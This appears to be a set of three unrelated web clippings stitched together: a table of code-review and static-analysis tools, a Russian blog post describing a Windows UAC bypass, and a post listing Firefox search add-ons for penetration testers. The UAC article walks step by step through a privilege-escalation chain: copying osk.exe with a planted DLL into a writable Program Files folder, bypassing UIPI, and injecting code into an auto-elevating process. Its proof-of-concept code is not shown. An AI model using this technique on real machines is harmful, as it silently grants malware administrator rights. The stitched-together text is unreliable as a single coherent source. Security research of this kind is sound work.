**Tool name** |  **Platform** |  **Tool vendor** |  **Comments**  
---|---|---|---  
|  |  Java-Source.org |  links to Java open source code analysis tools  
|  |  StickyMInds |  links to tool vendors, check Reviews and Measurement tools  
|  |  SPIN |  List static source code analysis tools for C  
|  |  Laatukonsultointi - testing tools list |  Many testing tools provide metrics and can thus facilitate inspections/reviews, too  
|  |  Laatukonsultointi - metrics tools list |  Some metrics tools facilitate inspections/reviews, too  
ReviewClipse | Windows, Linux, MacOS \(Java - Eclipse\) | Industrial Software \(INSO\), Vienna University of Technology | Free Eclipse-integrated code-review plug-in for changeset based source-code reviews. Easy installation and configuration, no server-side application necessary. Flexible Author/Reviewer assignments, supporting different types of reviewing \(Peer vs. Master\)  
DevInspect | Windows | HP | Static and dynamic analysis of security vulnerabilities  
AppScan | Windows |  IBM |  Static and dynamic application security testing suite that scans and tests for all common web application vulnerabilities  
Veracode | SaaS | Veracode, Inc. | On-demand service which analyzes both static binaries and running web-based applications for security flaws  
Ounce | AIX, Linux, Windows, Solaris | Ounce Labs, Inc. | Analysis security vulnearbilities from source code  
Fortify 360: Source Code Analyzer | Windows | Fortify Software, Inc. | Analysis security vulnearbilities from source code  
Google Code's code review tool | web | Google Code | review tool for Google Code  
Crucible |  Java |  Atlassian |  A tool for running code reviews \(review changes, make comments, manage review workflow, etc.\)  
FishEye |  Java |  Atlassian |  A tool for investigating changes made in source code repository  
Checkstyle |  |  http://checkstyle.sourceforge.net/ |   
FindBugs |  |  http://findbugs.sourceforge.net/ |  Static analysis tool for Java code  
Viva64 |  Windows/add-in for Visual Studio |  Viva64 |  A lint-like tool for searching of errors and possible problems in C/C++ code while porting the application to the 64-bit platform  
TICS Solution |  Windows, Linux |  TIOBE Software |  Consists of 1. checking compliance to coding standards by means of code checkers 2. monitoring coding standard compliance through time by means of so called quality databases 3. improving programs with the aid of code beautifier  
Project Analyzer |  Windows |  Aivosto |  Static code analysis tool for Visual Basic, VB.NET and VBA. Code review, diagramming, document generation and generates 180 metrics.  
FlexeLint for C/C++ |  Unix, Mac OS X, VMS |  Gimpel |  C/C++ source code analyzer  
PC-Lint for C/C++ |  Windows, MS-DOS |  Gimpel |  C/C++ sourcpoe code analyzer  
PMD |  |  http://pmd.sourceforge.net/ |  Java source code analyzer  
Aubjex |  |  Aubjex |  Java source analysis, dynamic analyzer, source code formatter, etc.  
assent |  |  Tata Consultancy Services |  C and Java source code analyzer  
AzoJavaChecker |  Java 2 |  Aguntum |  Java source code analyzer  
CodePro Analytix |  Windows, Linux |  instantiations |  Java source code analysis \(700+ rules\), code metrics, test generation, code coverage, dependency analyzer, etc.  
crucible |  |  cenqua |  Tool to facilitate code inspection process  
QS-Enterprise |  Windows, Linux, Solaris |  QA Systems |  Quality assesment and reporting tool which integrates with 3rd party code analysis tools  
QJ-Pro |  Windows, Linux, SOlaris |  http://qjpro.sourceforge.net/ |  Open source tool for Java source code analysis  
CodeScanner |  Symbian |  Mobile Innovation |  Static source code analysis tool  
SourceAudit |  Windows |  FrontEndArt Ltd. |  Evaluates compliance to coding standards of C/C++ code  
JStyle |  |  Man Machine Systems |  Java code review tool based on coding guidelines, provides also OO metrics  
Code Analyzer |  Windows, Unix, Linux, Mac OS X |  AppPerfect |  Reviews Java code and enforces coding practices  
CodeReviewer |  |  SmartBear Software |  √ìAutomates√ì the peer code review process, supports multiple remote reviewers, automated audit trails, SCM integration, and custom reviewer checklists  
Code Reports |  |  SmartBear Software |  Correlates code changes with bug fixes, feature implementations  
Code Collaborator |  |  SmartBear Software |  Faclitates code inspection process  
CodeSurfer |  Windows, Unix, Linux |  GrammaTech |  C source code analyser, performs pointer analysis, draws caal graphs, dependency analysis, etc.  
Understand |  Windows, Unix |  Scientific Toolworks |  Parses Ada 83, Ada 95, FORTRAN 77, FORTRAN 90, FORTRAN 95, K&R C, ANSI C and C++, and Java source code to reverse engineer, automatically document, calculate code metrics, and help understand, navigate and maintain source code  
QStudio |  Windows |  QA Systems |  Source code analyzer to collect many metrics, to check comformance to coding standards, etc.  
Coverity Prevent |  Windows, Unix |  Coverity |  Static C/C++ source code analyzer to detect defects like, null pointer dereference, use after free, double free, deadcode caused by logical errors, uninitialized variables, memory leaks, file handle leaks, security vulnerabilities \(e.g. buffer overflows, missing/insufficient validation ofmalicious data and string input, etc., etc.  
Cleanscape Lint Plus for C |  |  Cleanscape |  C source code analyzer for unreachable code, unconditional branches, into loop, undeclared variables, uninitialised variables, parameter type mismatches, misuse of pointers, etc., etc.  
Cleanscape FortanLint |  |  Cleanscape |  Fortan source code analyzer for inappropriate arguments passed to functions, inconsistencies in common block declarations, portability problems, like non-portable code, type usage conflicts across different subprograms/ program units, dead code, etc., etc.  
QA-C, QA, QA-MISRA, QA-High-Integrity-C, QA-C++, QA-J, QA-Fortran |  Windows, Unix |  Programming Research |  Source code quality analysis and coding standards compliance checking tools for C/C++, Java and Fortran + provides several metrics  
jDEPEND |  Java |  Clark |  JDepend \(BSD license\) traverses Java class file directories and generates design quality metrics for each Java package. JDepend measure the quality of a design in terms of its extensibility, reusability, and maintainability to manage package dependencies effectively.  
Spin |  Unix, Windows, MAc |  Spin |  Spin has been used to trace logical design errors in distributed systems design, such as operating systems, data communications protocols, switching systems, concurrent algorithms, railway signaling protocols, etc. The tool checks the logical consistency of a specification. It reports on deadlocks, unspecified receptions, flags incompleteness, race conditions, and unwarranted assumptions about the relative speeds of processes.  
UNO |  Unix, Windows |  Uno |  Checks from C programs use of uninitialized variable, nil-pointer references, and out-of-bounds array indexing + a broad range of user-defined properties  
Hammurapi |  Java |  Hammurapi |  Java review tool \(open source\) which has numerous embedded inspection rules  
CCCC |  Windows, Unix |  CCCC |  C/C++ and Java source code metrics open-source tool  
K7 |  Unix, Linux, Windows |  Klockwork |  Analyses C, C++ and Java source code for many kinds of defects \(memory, unsafe, NULL pointer dereference, out-of-bounds array access, etc.\), security vulnerabilities, potential areas of code optimatization + produces many metrics  
SmartRisk Analyzer |  Windows, Unix |  @stake |  Scans C/C++ binaries for security vulnerabilities.  
BugScan |  Windows, Linux |  LogicLIbrary |  Scans C/C++ binaries for security vulnerabilities. Runs as a web based service.  
CodeAssure \(product family\) |  Windows, Linux, Java |  Secure Software |  Checks security vulnerabilities from C, C++ and Java programs  
SecurityChecker |  Windows |  Compuware |  Checks and corrects security vulnerabilities from C\# and Visual Basic programs  
Flawfinder |  Unix \(Perl\) |  David Wheeler |  Checks security vulnerabilties  
ITS4 |  Windows, Unix |  Cigital, Inc. |  Checks buffer overflow vulnerabilities from C/C++ source code  
Imagix 4D |  Windows, Unix, Linux |  Imagix Corporation |  Points out exceptions to generally agreed upon design and coding practices  
|  |  Reasoning |  Reasoning provides source code inspection services  
GroupReview |  www/Java |  Center of the Management of Information, University of Arizona \(> Collaboartion > Collaboratus > GroupReview\) |  Web based collaboartion tool for supporting inspections.  
Codestriker |  CGI script \(Perl\) |  Codestriker |  Web based collaboration tool, enables virtual code reviews, manages review comments: among other things puts source code and reviews comments side by side,  
ReviewPro |  web browser, server: Unix/Windows |  SDTC, Software Development Technologies Corp. |  Enables virtual reviews/inspections, web based collaboration tool  
Jtest, C++ Test |  Unix, Windows |  ParaSoft, Inc. |  checks code√ïs compliance with C++ and Java coding standards \(+ generates test harnesses, test cases and stubs automatically, etc.\)  
CodeAdvisor \(part of Softbench |  Unix |  Hewlett-Packard or try search from  
http://www.hp.com |  C++ code analysis \(style and rules\)  
ObjectChecker |  |  ObjectSoftware, Inc. |  C++ Programmable Style Checker Tool  
CodeCheck |  Unix, Windows, DOS, Mac, NeXT |  Abraxas Software, Inc. |  programmable C/C++ source code analysis tool, standard features: e.g. compatibility with ANSI C, style checking,corporate compliance analysis, complexity measurement, portability check, etc., etc., etc  
Telelogic Tau Logiscope |  Unix |  Telelogic |  test coverage analyzer, source code analyzer: checks naming coventions, constructions not allowed, presentation rules, programming errors and all company specific rules, etc. etc.  
Apex |  Unix |  Rational, Inc. |  C/C++ code analysis \(style and rules\)  
ASA Security Analyzer |  Windows, Unix, Linux |  GrammaTech |  Checks buffer overflow vulnerabilities from C/C++ source code  
CodeSurfer |  Windows, Unix, Linux |  GrammaTech |  C/C++ source code analyser  
Splint |  Unix, Windows |  Splint |  C source code analyser, checks among other things buffer overflow vulnerabilities

# UAC Bypass или история о трех эскалациях

**Created:**| _5/8/2017 8:26:50 AM_  
---|---  
**Updated:**| _5/8/2017 8:26:50 AM_  
**Author:**| __  
**Tags:**| _windows environment priv\_esc_  
  

  

5 мая в 10:42

#  UAC Bypass или история о трех эскалациях

 Информационная безопасность\*, Блог компании Перспективный мониторинг

На работе я исследую безопасность ОС или программ. Ниже я расскажу об одном из
таких исследований, результатом которого стал полнофункциональный эксплоит
типа UAC bypass \(да-да, с source-code и гифками\).  
  

<img src='img/7e06506cb7c44f32a82a8841af23774c.png' width='728' height='345'
/>

  
Ах, да, в Майкрософт сообщили, они сделали вид, что им не интересно.  
Алярм\! Под катом около 4 мегабайт трафика – картинок и гифок.  
  

## История

  

### GUI UAC bypass

  
Наверняка существует множество способов найти уязвимость. Один из самых
простых — это воспроизведение уже существующей атаки, выбрав другую цель. Так
и я решил поставить опыт — через меню выбора файла \(для сохранения или
открытия\) запустить какое-нибудь приложение.  
  

<img src='img/2ea5a638b82c4da5a6d092adc1b61031.gif' width='640' height='480'
/>

  
Гифка показывает, как такая атака выглядела в Windows 98. Атакующий хитрыми
манипуляциями вызывает окно открытия файла и через него запускает explorer.  
  
Сначала проведем простой тест, чтобы посмотреть, что происходит — запускаем
блокнот. Выбираем в меню пункт «Открыть», а в появившемся окне переходим в
папку C:\Windows\system32\\. В окне отображаются только файлы txt и папки. Это
легко поправить — достаточно вместо имени файла написать \*.\* и будут
отображены все файлы \(в случае блокнота можно проще — выбрать фильтр «Все
файлы», но такой фильтр будет доступен не всегда, а звездочки будет работать
всегда\). Находим notepad.exe и запускаем его через контекстное меню.  
  

<img src='img/dce6f38a04eb47e8aaece67912e1740b.png' width='697' height='440'
/>

  
Process Monitor показывает вполне ожидаемую картину:  
  

<img src='img/00725002c4bd4bdf9877643e4438203d.png' width='780' height='28' />

  
Один процесс стартовал другой. Чаще всего при таком наследовании дочерний
процесс имеет тот же уровень привилегий, что и родительский. Значит, если мы
хотим запустить процесс с высокими привилегиями, то и воспользоваться нужно
процессом, у которого уже есть эти привилегии.  
  

<img src='img/c6bcdadfbc4a44c88b5a17d9b9a61713.png' width='680' height='452'
/>

  
Тут я вспомнил о приложениях с автоматически поднимаемыми привилегиями. Речь
идет о программах, у которых в манифесте прописано поднятие привилегий без
запроса UAC \(элемент autoElevate\). Для первого эксперимента я выбрал
многострадальный eventwvr.exe \(он уже пару раз засветился в обходах UAC\).  
  
Все оказалось очень просто, в меню «Действие» есть пункт «Открыть сохраненный
журнал…» — этот пункт выводит окно открытия файла, что мы и хотим получить.  
  

<img src='img/014c9028121f4b469d090896e48fd9dd.png' width='780' height='543'
/>

  
После запуска мы увидим такую ситуацию:  
  

<img src='img/cfe8beb49d5d4dadadba3b87f89ceeed.png' width='658' height='137'
/>

  
Мы запустили консоль с правами администратора без появления окна UAC.  
  
Такой вид уязвимостей называется UAC bypass \(обход запроса UAC\). Важно
отметить существенное ограничение — автоматическое поднятие прав работает,
только если пользователь входит в группу администраторов. Поэтому с помощью
такой уязвимости нельзя поднять права с уровня пользователя. Но все же
уязвимость довольно опасна — очень много пользователей Windows использует
аккаунт администратора для повседневной работы. Вредоносная программа, которую
запустит пользователь такого аккаунта, без внешних проявлений получит сначала
административные привилегии, а затем, если ей надо, то может получить хоть NT
AUTHORITY\SYSTEM. С привилегиями администратора это очень легко.  
  
На гитхабе есть отличный проект https://github.com/hfiref0x/UACME, где
собраны, наверное, все имеющиеся в открытом доступе уязвимости такого рода,
причем с указанием с какой версии Windows уязвимость начала работать, и в
какой ее поправили, если поправили.  
  
Я далеко не первый, кто подумал об уязвимости такого плана. Ниже я прикладываю
два анимационных изображения, которые наглядно показывают обход UAC еще двумя
способами.  
  

<img src='img/c3b9eaf27686483a84641e853075a239.gif' width='780' height='439'
/>

  

<img src='img/163c736444a94d9cace16cf55bd0df88.gif' width='780' height='439'
/>

  
Файлы взяты из статьи msitpros.com/?p=3692.  
  
Я прошелся по разным приложениям и ниже прикладываю еще 18 способов реализации
такого обхода.  
  

**Еще 18 способов ручного обхода UAC**

  
Хоть мы и получили консоль администратора с правами администратора, но назвать
это уязвимостью или эксплоитом сложно — нужны осознанные действия
пользователя. Чтобы данную уязвимость считать практической, а не теоретической
— нужно автоматизировать действия.  
  

### UIPI bypass

  
Автоматизация? Да легко\! Берем AutoIt и быстро клепаем приложение, которое
эмулирует нажатие клавиатуры.  
  

  * WIN-R, eventvwr, ENTER — запустили приложение;
  * ALT-нажали-и-отпустили — фокус на главное меню;
  * Вправо-Вниз-Вниз-ENTER — выбрали нужный пункт в меню;
  * C:\windows\system32 ENTER — перешли в нужную папку;
  * \* ENTER — сбросили фильтр;
  * SHIFT-TAB, SHIFT-TAB — окно фокуса на списке файлов;
  * сmd — выбрали файл cmd.exe;
  * App \(Кнопка контекстного меню, обычно рядом с правым Ctrl и правыми Alt\), вниз, вниз, ENTER — выбираем пункт «Открыть».

  
Прямо готовое описание для какой-нить атаки BadUSB-Keyboard типа Teensy или
Rubber Ducky. Все отлично, но не работает. Вернее, работает, но не всегда —
только если мы запускаем скрипт с правами администратора. Но если мы запускаем
скрипт с правами администратора, то какой же это эксплоит?  
  
Все оказывается довольно просто — Майкрософт использует технологию UIPI \(User
Interface Privilege Isolation\). Если коротко, то многие интерфейсные
взаимодействия блокируются, если Integrity Level \(IL\) инициатора ниже, чем у
целевого приложения. Процессы с привилегиями администратора имеют High IL и
выше, а приложение, запускаемое пользователем без поднятия привилегий, имеет
Medium IL. Нельзя слать большинство сообщений, эмулировать мышь, клавиатуру.  
  
Как же обойти UIPI? Майкрософт указывает, что есть еще один интересный
параметр, который можно указать в манифесте — UIAccess. При выполнении ряда
суровых условий приложение получит возможность взаимодействовать с интерфейсом
других программ. Собственно, сами условия:  
  

  1. UIAccess=«true» в манифесте.
  2. Программа должна быть подписана и сертификат подписи должен восприниматься компьютером как доверенный.
  3. Программа должна быть расположена в «безопасной» папке или глубже. Под безопасными папками понимаются папка C:\Windows \(с некоторыми исключениями\), C:\Program Files, C:\Program Files \(x86\).

  
Поиск файлов, которые уже подходят под эти условия, показывает, например,
приложение C:\Windows\system32\osk.exe. Это приложение экранной клавиатуры —
логично, что оно должно иметь доступ к интерфейсу программ и не требовать прав
администратора, поскольку может быть запущено обычным пользователем. Посмотрев
в Process Explorer на процесс, становится понятно, как оно работает. При
UIAccess=«true» происходит еще одна автоматическая эскалация — поднимается IL
приложения. Osk.exe стартует с High IL, но при этом без прав администратора.
Довольно интересная ситуация.  
  

<img src='img/4455b11a08e248b39a3868bff628ff32.jpg' width='471' height='367'
/>

  
Появляется идея попробовать скопировать Osk.exe куда-то, где он все еще будет
считаться расположенным по «безопасному» пути. Тогда мы сможем контролировать
это приложение, но все равно выполнять условия для обхода UIPI.  
  
Я написал простой поисковик по директориям C:\Windows, C:\Program Files,
C:\Program Files \(x86\), который бы искал места, куда можно копировать без
прав администратора. На удивление, таких директорий нашлось немало. К
сожалению, большая часть из них либо входит в исключения C:\Windows, либо
является директориями, куда можно писать, но откуда нельзя запускать
приложения. И все равно, нашлось две подходящих папки:  
  

  * C:\Windows\minidump
  * C:\Program Files\Microsoft SQL Server\130\Shared\ErrorDumps 

  
С одной стороны, это хорошо — есть что проверять, но с другой — все не так
радужно.  
Папка minidump появляется, если ОС падала в синий экран смерти. Если синие
экраны обошли пользователя стороной, то и директории нет. Более того, в эту
директорию изначально доступа нет. Нужно хотя бы один раз в нее зайти
администратору и только после этого она становится доступной. В общем не наш
вариант.  
  
А вот вторая папка уже лучше — за исключением того, что она появляется при
установке Microsoft Visual Studio \(2017 в данном случае, у других студий
будут другие числа вместо 130, например 120 у MSVS 2015\).  
  
Копируем osk.exe в папку C:\Program Files\Microsoft SQL
Server\130\Shared\ErrorDumps. Смотрим таблицу импорта приложения. Среди
библиотек в импорте я выбрал osksupport.dll — это библиотека, экспортирующая
всего 2 функции, поэтому можно быстро сделать поддельную.  
  

<img src='img/dc711fa35c604b5693ac10cb94cd0b67.png' width='780' height='446'
/>

  
Собираем dll и копируем по тому же пути — будет dll-инъекция. Запускаем,
проверяем — скопированный osk.exe запускается с High IL, код из dll
исполняется.  
  
Дописываем в dll автоматизацию клавиатурных нажатий \(уже не AutoIt, а быстро
все перекинутое на плюсовый код keybd\_event\). Убеждаемся, что все работает.
Теперь у нас уже почти готов эксплоит. Надо провести чистый тест.  
  
Подготавливается виртуальная машина, куда установлена только Visual Studio и
пишется простая программа — она копирует osk.exe и библиотеку с полезной
нагрузкой. Все отлично работает. Запускаем бинарный файл и спустя мгновение на
экране творится магия автоматизации.  
  
Вот это уже можно назвать эксплоитом — все-таки программа без участия
пользователя обходит UAC. Пользователь, конечно, все это видит, но не беда —
это мелочи.  
  
Это была первая версия эксплоита — две эскалации \(autoElevate и UIAccess\),
но пользователь видит, что происходит что-то не то.  
  
Я отправился перечитывать Windows Internals Руссиновича в тех главах, где
упоминается UIAccess и UIPI. Внезапно, русским по белому там было написано,
что UIPI предотвращает использование SetWindowsHookEx. Но я как раз обошел
UIPI, а значит мог использовать эту функцию — так стало еще лучше\! Я смог
провести инъекцию кода, вместо отправки клавиатурных нажатий. Вот и вторая
версия эксплоита — те же эскалации, но теперь без заметных действий на экране.
Почти сразу после запуска эксплоита запускалась привилегированная консоль.  
  

### Directory bypass

  
На этом этапе я написал письмо с описанием уязвимости, кодом эксплоита и
пошаговым объяснением в Майкрософт. Реакция саппорта немного удивила — они
спрашивали: «Получается, что для запуска вашего эксплоита нужны права
администратора?». Попытка объяснить, что это не эскалация привилегий с
пользователя до администратора, а обход UAC, успехом не увенчалась.  
  
Последнее, что можно было улучшить — убрать требование директории, доступной
на запись. Для начала я решил попробовать старый способ с WUSA.  
  

**Краткое описание копирования файлов с помощью WUSA**

  
Сначала я попробовал «распаковать» произвольный файл в C:\windows\system32.
Получил ошибку отказа в доступе. Логично, я давно читал, что вроде бы этот
способ убрали. Но на всякий случай решил проверить с путем в Program Files.
Утилита отработала, файл скопировался. Вот теперь запахло жареным —
необходимость папки с правами на запись в Program Files постепенно пропадала.  
  
Но от способа с WUSA я решил отказаться. В Windows 10 \(10147\) у приложения
убрали опцию /extract. Тем не менее я не унывал. На примере WUSA я понял, что
не всегда защита C:\Windows означает защиту C:\Program Files. Кроме WUSA был
еще способ копировать файлы без запроса UAC — интерфейс IFileOperation.  
  

**IFileOperation**

  
Дальше было несложно. Я написал код, использующий этот метод \(вот она, третья
автоматическая эскалация\), и он отлично отработал. Для надежности я взял
чистую виртуальную машину с максимальным количеством установленных обновлений
последней версии Windows 10 \(RS2, 15063\). Это было особенно важно, поскольку
RS2 как раз исправлял часть обходов UAC. И вся моя цепочка прекрасно
отработала на этой версии. Это и есть третья версия эксплоита, с 3
эскалациями, без каких-либо специальных требований.  
  

## Техническое описание

  
Работоспособность эксплоита тестировалась на Windows 8, Windows 8.1 и Windows
10 \(RS2, 15063\) — техника работает. С вероятностью в 99% будет работать и в
младших версиях, начиная с Windows Vista, но потребуются правки \(другое имя и
таблица экспорта для dll на 2 и 3 шагах\). Настройки UAC должны быть
выставлены по-умолчанию, и пользователь, от которого происходит запуск
инициирующей программы, должен входить в группу администраторов ПК.  
  
**Шаг 1.** Программа запускается без запроса предоставления привилегий. IL
программы Medium, что позволяет сделать инъекцию кода в процесс explorer.exe
\(например, через SetWindowsHookEx\).  
  
**Шаг 2.** Код, работающий в контексте explorer.exe, инициирует файловую
операцию копирования через IFileOperation. Происходит первая автоматическая
эскалация привилегий — explorer.exe считается доверенным процессом, поэтому
ему позволяется копировать файлы в Program Files без запроса подтверждения
UAC. В любую папку в Program Files копируется системный файл osk.exe,
изначально расположенный C:\Windows\system32\osk.exe. Рядом копируется
библиотека с полезной нагрузкой под именем osksupport.dll.  
  
**Шаг 3.** Запускается только что скопированный osk.exe. Поскольку выполняются
все требования для предоставления UIAccess, то файл имеет High IL — происходит
вторая автоматическая эскалация привилегий \(поднят только IL, но прав
администратора все еще нет\). Сразу после старта срабатывается Dll-инъекция и
в контексте данного процесса исполняется код из osksupport.dll. Полезная
нагрузка этой библиотеки ожидает старта привилегированного процесса, чтобы
провести инъекцию кода в него.  
  
**Шаг 4.** Запускается любой процесс, который автоматически поднимается в
правах до администратора \(например, многострадальный eventvwr.exe, это третья
эскалация\). В него происходит инъекция кода. В данный момент код будет
исполняться с привилегиями администратора.  
  

## Proof of Concept

  
PoC состоит из двух частей — dll \(написана на c++\) и exe \(написан на c\#\).
Сначала необходимо собрать dll и подключить эту библиотеку как ресурс для кода
приложения. Обязательно обратите внимание на комментарии в коде.  
  

**DLL**

  

**EXE**

  
Готовый к эксплуатации бинарный файл не выкладывается осознанно. Не менее
осознанно исходные коды не выкладываются на гитхаб.  
  
Я бы хотел обратить особое внимание читателей, на тот факт, что эта статья
описывает не уязвимость в каких-то приложениях. Osk.exe и eventvwr.exe здесь
только для примера, я мог бы взять другую пару из примерно 150 вариантов \(5
вариантов для osk × 30 вариантов для eventvwr\). Мне кажется, что сам механизм
поднятия привилегий и UAC «поломатые». А что думаете вы?  
  

## Другие статьи блога

  
→ Отчёт Центра мониторинга информационной безопасности за I квартал 2017 года  
Мои крутые коллеги в реальном времени следят за атаками и сразу же их
предотвращают.  
→ Жизнь без SDL. Зима 2017  
Пока разработчики повсеместно не используют SDL у меня всегда будет работа.



  * uac, 
  * uac bypass, 
  * exploit, 
  * windows, 
  * windows exploit, 
  * autoelevate, 
  * UIPI

  * +56
  * 11,2k
  * 89
  *     * 
    * 
    * 
    * 

Автор: @xi-tauw

<img src='img/08d44e4b5fe243f4b59b05b2139569fb.png' width='48' height='48' />

Перспективный мониторинг

рейтинг 187,43

  * Сайт
  * Facebook

Похожие публикации

  * 5 апреля в 15:16 Жизнь без SDL. Зима 2017
+10 3,2k 12 9

##  Вакансии компании Перспективный мониторинг

  * Front-end разработчик
от 80 000 до 150 000 руб.

•Москва •Полный рабочий день

Вакансии компании

Создать резюме

##  Комментарии \(12\)

  *  tangro 5 мая 2017 в 11:18  
+2

> Мне кажется, что сам механизм поднятия привилегий и UAC «поломатые». А что
> думаете вы?
  
Я думаю, что они попросту не нужны в плане защиты от повышения привилегий с
уровня Normal Integrity да High Integrity. Этот барьер ни в чём не
ограничивает пользователя \(поскольку пользователь с правами админа может
просто нажать «Разрешить» для поднятия привелегий\) и он мало в чём
ограничивает всякие эксплоиты и вирусы \(Normal Integrity вполне достаточно
для всяких там спам-ботов, криптовымогателей и т.д.\). Вот защита уровня Low
Integrity или Untrusted Integrity \(применяемая, например, в браузерах\) — да,
серьёзная штука, поскольку не даёт доступа к файловой системе и всяким
разделяемым объектам в памяти. И её Вашим способом не обойти.

    *  xi-tauw 5 мая 2017 в 11:30    ⬆
+1

Согласен, что защита в виде использования Low IL или Untrusted IL будет
работать хорошо. У Майкрософта есть на msdn даже статья о том, как
проектировать приложения, которым будет достаточно такого IL.  
Но, видимо, из-за большого легаси и обратной совместимости нельзя просто так
взять и все запустить на таких низких уровнях.

  *  oteuqpegop 5 мая 2017 в 11:45  
+1

По поводу реакции со стороны Microsoft: насколько я помню, они изначально
обозначили некоторые фичи \(UAC или, например, AppLocker\) как «не относящиеся
к безопасности напрямую» и поэтому обычно отвечают на подобные репорты, что
никакого байпасса нет, поскольку это всего лишь защита от дурака. Хотя потом
иногда все же фиксят.

    *  xi-tauw 5 мая 2017 в 11:50    ⬆
+1

Примерно так это и выглядит. И ответ Майкрософта был похож на то, что вы
написали.  
Но ситуация довольно странная — говорить, что не уязвимость и патчить в
security-обновлениях. Лично мне такой подход не нравится.

      * <img src='img/ac7fb5f8556e75baa3c77c3eb6df647f_small.jpg' width='24' height='24' /> Greendq 5 мая 2017 в 18:57    ⬆
+2

А это чтобы денег за баги не платить :\)

  *  bogatrev 5 мая 2017 в 11:54  
+1

Правильно ли я понял, что практический сценарий использования приведенных выше
методов может быть следующим:  
Злоумышленник изготавливает эксплоит -> доставляет его на компьютер жертвы ->
обеспечивает его запуск -> если жертва в группе администраторов, получает
возможность полного контроля над операционкой и приложениями.  

    *  xi-tauw 5 мая 2017 в 11:55    ⬆
+1

В общих чертах все так и есть.

      *  bopoh13 5 мая 2017 в 12:40    ⬆
+1

Отличная работа\!  
Запрет в политиках безопасности запуска всех приложений кроме определённых
директорий дополняет UAC?

        *  xi-tauw 5 мая 2017 в 13:02    ⬆
0

Теоретически да. Но это слишком кропотливая работа — некоторые директории
оказываются доступными на запись очень неожиданно.  
Если знаете вариант, как это дело автоматизировать, было бы хорошо узнать.

  * <img src='img/5d6657bc8c0dc8a664f734c352bd4efa_small.jpg' width='24' height='24' /> onyxmaster 5 мая 2017 в 12:12  _\(комментарий был изменён\)_  
+3

А режим UAC «Always notify» не помогает? Ну то есть я понимаю, что если уже
есть elevated-процесс, то там никаких подтверждений не будет, но этот процесс
же ещё надо запустить, и в случае с «Always notify» оно без подтверждения не
запускается.  
  
P.S. Я знаю что по умолчанию он не такой, и это большой недостаток =\)

    *  xi-tauw 5 мая 2017 в 12:17    ⬆
+1

Да, Always notify поможет. Но, по-умолчанию, у пользователей в группе
Администраторы уровень UAC на одно деление ниже \(Only notify me when programs
try to make changes to my computer\).

  * <img src='img/85c9feb6c50472ad523c7fd79d8a4c73_small.jpg' width='24' height='24' /> alexoron 5 мая 2017 в 15:09  
+1

Вспомнилась статья — Упрощаем запуск приложений в Windows от имени
администратора без отключения UAC  

Только зарегистрированные пользователи могут оставлять комментарии. Войдите,
пожалуйста.

  

# Firefox search add-ons for Security-Nerds™ « ©атсн²² \(in\)sесuяitу

**Created:**| _3/27/2010 10:50:50 PM_  
---|---  
**Updated:**| _3/27/2010 10:51:08 PM_  
**Author:**| __  
**Tags:**| _bookmark searching_  
  

## Firefox search add-ons for Security-Nerds™

Posted by ChrisJohnRiley on March 19, 2010

After looking over the slidedeck from Michael “theprez98″ Schearer’s Blackhat
Webcast, I decided \(like a lot of people I’m sure\) to have a quick look at
what Firefox add-ons were available to make penetration testing using the
browser a little easier. My portable Firefox edition already has a number of
extensions installed for the usual stuff. Things like FoxyProxy, Web Developer
Toolbar, Fire/FlashBug and the SQL Inject Me, Access Me and XSS Me tools from
Security Compass have been installed for a long time. They come in useful for
specific tasks, even when I’m not doing Web app testing. One thing I’d not
really looked at though was the possibility of adding to the search providers
list  _\(found in the upper right-hand corner\)_.

<img src='img/Temp2_3234.png' width='316' height='107' />

Firefox Search

By default the drop down list comes with your typical default options
_\(Google, Yahoo, Wikipedia and a few others\)._ These all nice an everything,
but for what we do, they’re not always the sources we need. After all, if you
know you want to search for a CVE number, the why google for it. Best to go
straight to the source, and pull up the info you need quickly and efficiently.
So with that in mind, here are a few nice additions to the search list in
Firefox.

### <img src='img/Temp2_3233.png' width='42' height='12' />

### CVE dictionary search plugin

  * As the name suggests, this plugin allows you to search on keywords or CVE numbers and receive the results directly from Mitre.
  * The search simply sends a request to http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword= with the search value set at the keyword parameter
  * **https://addons.mozilla.org/en-US/firefox/addon/14598**

### <img src='img/Temp2_3229.png' width='29' height='30' /> Open Source
Vulnerability Database Search

  * For those that prefer to use OSVDB over CVE, there’s also an add-on that searches the OSVDB site
  * **https://addons.mozilla.org/en-US/firefox/addon/45607**

##  <img src='img/Temp2_3237.png' width='40' height='10' /> OVAL Repository

  * OVAL  _\(Open Vulnerability and Assessment Langauge\)_ \- The Standard for determining and Configuration Issues on Computer Systems
  * **https://addons.mozilla.org/en-US/firefox/addon/14600**

## <img src='img/Temp2_3230.png' width='29' height='25' /> Packet Storm

  * This plugin lets you search on Packet Storm – www.packetstormsecurity.org – database.
  * Packet Storm offers an abundant resource of up-to-date and historical security tools, exploits, and advisories.
  * **https://addons.mozilla.org/en-US/firefox/addon/46818******

##  <img src='img/Temp2_3232.png' width='22' height='19' /> RFC Search Plugin

  * We all love RFCs don’t we\! Yes, yes we do <img src='img/Temp2_3236.png' alt=';)' /> .
  * **https://addons.mozilla.org/en-US/firefox/addon/14780**

## <img src='img/Temp2_3228.png' width='49' height='12' /> Pcapr search

  * This plugin lets you search on Pcapr – www.pcapr.net – archive
  * Need an example packet capture? PCAPr is the place to find it
  * **https://addons.mozilla.org/en-US/firefox/addon/50414**

##  <img src='img/Temp2_3231.png' width='52' height='22' /> Exploit DB

  * This plugin lets you search on Offsec Exploit archive – http://exploit-db.com. Offsec Exploit archive, also known as Explo.it, is the replacement of Milw0rm archive.
  * Everybody needs exploits after all\!
  * **https://addons.mozilla.org/en-US/firefox/addon/50241**

## <img src='img/Temp2_3235.png' width='22' height='26' alt='Preview Image of
Default Passwords - CIRT.net' /> CIRT Default Password-DB

  * Search CIRT.net default password database
  * **https://addons.mozilla.org/en-US/firefox/addon/58786**

This isn’t a complete list by any means, but hopefully it’s a good start. I’ve
not had a chance to run these through a transparent proxy to see the exact
information being sent/received, so our mileage may vary. Use at your own
risk.

* * *
**Possibly related posts: \(automatically generated\)**

  * Most Popular Firefox Extensions and Themes of 2009 \[Best Of 2009\]
  * Top 5 Firefox Add-Ons

This entry was posted on March 19, 2010 at 2:13 pm and is filed under
Penetration Test, Security. Tagged: add-ons, firefox, search. You can follow
any responses to this entry through the RSS 2.0 feed. You can leave a
response, or trackback from your own site.

### One Response to “Firefox search add-ons for Security-Nerds™”

  1. ### Firefox Search Add-Ons For Security Nerds « Steve On Security said
March 26, 2010 at 4:37 pm

\[...\] Firefox search add-ons for security nerds
